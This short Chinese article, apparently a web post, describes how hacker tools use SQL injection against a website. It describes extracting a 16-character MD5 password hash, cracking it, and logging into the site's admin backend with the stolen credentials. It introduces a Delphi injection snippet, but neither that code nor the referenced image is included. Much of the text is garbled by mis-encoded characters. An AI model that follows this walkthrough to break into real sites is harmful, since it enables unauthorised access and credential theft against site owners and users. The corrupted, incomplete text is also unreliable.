黑客的腳本漏洞工具區(qū)分(圖)

上圖只是對一個(gè)網(wǎng)站注入點(diǎn)的工具檢測，當(dāng)然看到了結(jié)果掃出來的密碼為16位的md5加密碼，但我們可以通過md5密碼破解工具進(jìn)行破解的。然后找 到后臺用所得的用戶名和密碼進(jìn)行登錄即可。對于黑客軟件，其實(shí)并不是我們想象的那么復(fù)雜，只是根據(jù)掌握的漏洞信息提交相應(yīng)該的數(shù)據(jù)罷了，我們看下下面一段 用delphi寫的注入的片段就清楚不過了。這里控件的設(shè)置和線程的創(chuàng)建略，我們主要是看看猜解的過程，如下：

從上面的代碼中，我們可以看出，黑客軟件只是代替了手工操作，通過多線程更進(jìn)一步提高了猜解的速度，但猜解的表和字段還得我們自己設(shè)定，然后通過 post提交我們設(shè)定的格式(其中url中的 是空格的意思，因?yàn)樵诰W(wǎng)址后面執(zhí)行相應(yīng)的sql語句時(shí)都要有相應(yīng)的空格)，按照我們設(shè)定的表和字段猜解出相應(yīng)的用戶名和密碼內(nèi)容。
